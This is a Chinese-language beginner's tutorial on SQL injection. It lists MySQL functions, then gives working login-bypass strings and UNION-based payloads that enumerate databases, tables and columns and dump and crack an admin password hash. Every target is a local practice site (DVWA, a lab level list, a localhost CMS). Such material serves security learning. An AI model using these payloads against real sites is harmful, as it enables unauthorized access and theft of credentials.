初始sql注入
在了解sql注入之前，需要有数据库的简单知识，或者说，一些函数和命令
常用数据函数以及常量
@@tmpdir临时目录
@@datadir存放路径
@@basedir MySQL 的安装路径
@@version mysql版本
@@hostname 主机名
ascii() 转换为ascii码值
user() 用户
version() 版本
database() 所有数据库
concat() 拼接函数
group_concat() 拼接函数
concat_ws() 拼接函数
substr():oracle,mysql,mssql /substring():mysql,mssql /mid():mysql 注意：均有三个参数，第一个是被截取的字符，第二个是开始索引，第三个是截取的长度
left(pa1,pa2) pa1是被截取的字符串，从左边开始截取，pa2是截取的长度
right(pa1,pa2)pa1是被截取的字符串，从右边开始截取，pa2是截取的长度
sleep()让数据库休眠的
ord()显示字符的ASCII
if(条件,条件为真时的返回值或者语句, 条件为假时的返回值或者语句)
eg: if(1=1,true,false)
case when 条件 then条件为真时的返回值或者语句 else条件为假时的返回值或者语句 end
eg：SELECT 1,CASE WHEN 1=1 THEN 'hello' ELSE 'goodbye' END,3 --+
了解一些基本函数后，尝试基本的sql注入
1、万能密码：自己写的网站，找到和数据库交互的登陆窗口，往里面插入构造的sql语句（恶意代码），能够直接登陆进，有可能不需要真正的账号密码。输入的恶意代码就称为万能密码。后端拼接的sql语句要能闭合：SELECT *FROM WHERE‘users’=’$users’ AND ‘password’=’$pass’
用dvwa测试
语句1：admin ‘ or 1=1#
得到：SELECT * FROM `users` WHERE user = 'admin' or 1=1# ' AND password
= '202cb962ac59075b964b07152d234b70';
在数据库中：
语句2：admin ‘and 1=1#
得到：SELECT * FROM `users` WHERE user = 'admin' and 1=1#' AND password = '5f4dcc3b5aa765d61d8327deb882cf99';
数据库：
其他的语句（注意：是否需要加单引号，需要根据后端的数据类型来。若是字符串类型，则加单引号；若是整型的，则不需要加）
Admin ‘and ’1’=’1’#
mysql数据库中的一库一表三字段：
Mysql>5.0,有自带的系统数据库-infirmation_schema，汇总其他数据库的库名、表名、字段名。
Columns 存储数据（库民 、表名、字段名）
Table_schema字段 存放其他数据库的库名。
Table_name字段 存放其他数据库的表名。
Column_name字段存放其他数据库的字段名。
手工注入：（测试网站jdy1.5）
1、检测注入点（可能存在sql注入的地方），方式：admin’ or 1=1#等。
找到类似于id（id,uid,typeid,sid,key等可动参数）之类的参数
后面需要插入一些检测的恶意代码:
‘/’ and 1=1/’ and 1=2/-1’ or ‘1’=’1需不需要单引号是由后端拼接的sql语句决定的。
Sql闯关
第一关：SELECT * FROM users WHERE id=’$id’ Limit 0,1 前端测试代码：id=1 ‘and 1=1%23
第二关：SELECT * FROM users WHERE id=$id Limit 0,1 前端测试代码：id=1 and 1=1%23
输入的payload被成功执行则说明此处有sql注入点
接下来判断注入的方式：主要根据页面的回显来决定使用那种注入技术（布尔、报错、内敛、时间）
判断从后台数据库中选择的列数以及那几列在前端显示
http://localhost/jdy1.5/typeid.php?typeid=1 and order by 6%23（5时显示正常，6时出现变化，说明有五列显示在前端）
使用union拼接想要执行的命令
http://localhost/jdy1.5/typeid.php?typeid=-1 union select 1,2,3,4,5%23
可以发现2在前端显示出来了
在第二列执行命令
http://localhost/jdy1.5/typeid.php?typeid=-1 union select 1,user(),3,4,5%23
命令被执行，得到想要的信息。
2、收集后台数据信息
select 1,user(),3,4,5%23当前用户
select 1,database(),3,4,5%23当前数据库
Select 1,(select group_concat(distinct table_schema) from information_schema.columns),3,4,5
distinct(去重复)，group_concat(将group by产生的同一个分组中的值连接起来,返回一个字符串结果）
3、获取当前数据库的表名
Select table_name from information_schema.columns where table_schema=database()
4、获取当前数据库下指定表下字段名
Select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name=’jdy_admin’（后台或者敏感的数据表，比如jdy_admin）需要对jdy_admin进行十六进制转码，转码后不需要单引号
select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name=0x6a64795f61646d696e
5、获取字段的内容
select concat(username,0x7e,password) from jdy_admin limit 0,1
得到账号密码：admin~c3284d0f94606de1fd2af172aba15bf3
6、解密
Md5，rot13等
c3284d0f94606de1fd2af172aba15bf3两次解码之后得到admin
